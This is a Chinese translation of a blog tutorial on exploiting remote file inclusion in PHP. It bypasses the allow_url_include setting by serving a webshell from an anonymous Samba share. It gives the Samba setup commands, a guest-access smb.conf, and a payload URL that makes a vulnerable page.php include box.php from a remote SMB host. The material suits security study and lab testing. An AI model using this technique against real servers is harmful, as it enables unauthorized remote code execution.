文章来源:http://www.mannulinux.org/2019/05/exploiting-rfi-in-php-bypass-remote-url-inclusion-restriction.html
前言
这篇文章我将演示利用远程文件包含(RFI)漏洞的一些技术,用于演示的PHP程序设置为易受"文件包含攻击"。我们的PHP环境配置为不允许从远端HTTP/FTP URL包含文件,但我仍可以绕过远程URL包含的限制,实施利用RFI。
PHP与SMB共享文件权限
PHP配置文件默认设置"allow_url_include"为"Off",限制PHP从远程加载HTTP/FTP URLs,这有效地防止了远程文件包含攻击。但是,即使PHP的"allow_url_include" 和 "allow_url_fopen" 都设置为“Off”,SMB URL也可以加载。通过滥用PHP的这个特性,可以实现从远程主机的SMB共享中加载 PHP webshell。
攻击概述
如果存在缺陷的PHP程序要从攻击者控制的SMB共享加载PHP webshell,SMB共享应当赋予访问该文件的权限。攻击者需配置开启SMB服务器的匿名访问。配置后程序如要访问SMB共享中的webshell,SMB服务器将不会要求提供凭据,从而成功包含webshell。
PHP环境设置
受害者机器应当配置"allow_url_include" 和 "allow_url_fopen" 为“Off”,我使用的PHP版本为"5.5.11":
在正式开始之前,确认代码的确不允许通过HTTP从远程主机读取webshell:
程序抛出错误,尝试RFI失败。
开启SAMBA服务器匿名读取权限(Linux环境)
先安装SAMBA服务器:
apt-get install samba
创建SMB共享目录:
mkdir /var/www/html/pub/
赋予新创建的SMB共享目录权限:
chmod 0555 /var/www/html/pub/
chown -R nobody:nogroup /var/www/html/pub/
移除SAMBA服务器的默认配置文件内容:
echo > /etc/samba/smb.conf
把下面的内容填充到'/etc/samba/smb.conf' :
[global]
workgroup = WORKGROUP
server string = Samba Server %v
netbios name = indishell-lab
security = user
map to guest = bad user
name resolve order = bcast host
dns proxy = no
bind interfaces only = yes
[ica]
path = /var/www/html/pub
writable = no
guest ok = yes
guest only = yes
read only = yes
directory mode = 0555
force user = nobody
重启SAMBA服务器使/etc/samba/smb.conf 的新配置生效:
service smbd restart
重启后,(使用局域网中的另一台主机)尝试访问SMB共享,确认SAMBA服务器不会要求提供凭据。在本例中,SAMBA服务器IP为:192.168.0.3,如需在windows中访问SMB,我需输入: \\192.168.0.3\
添加PHP webshell
OK,我们可以访问SMB共享,即"ica"文件夹。
SMB共享的"ica"目录的真实地址为"/var/www/html/pub",上传一个webshell:
访问\\192.168.0.3\ica\
,可以看到马子:
演示
使用包含wenshell的SMB链接作为远程包含的URL:
http://vulnerable_application/page.php?page=\\192.168.0.3\ica\box.php
Duang!成功绕过PHP远程文件包含的限制。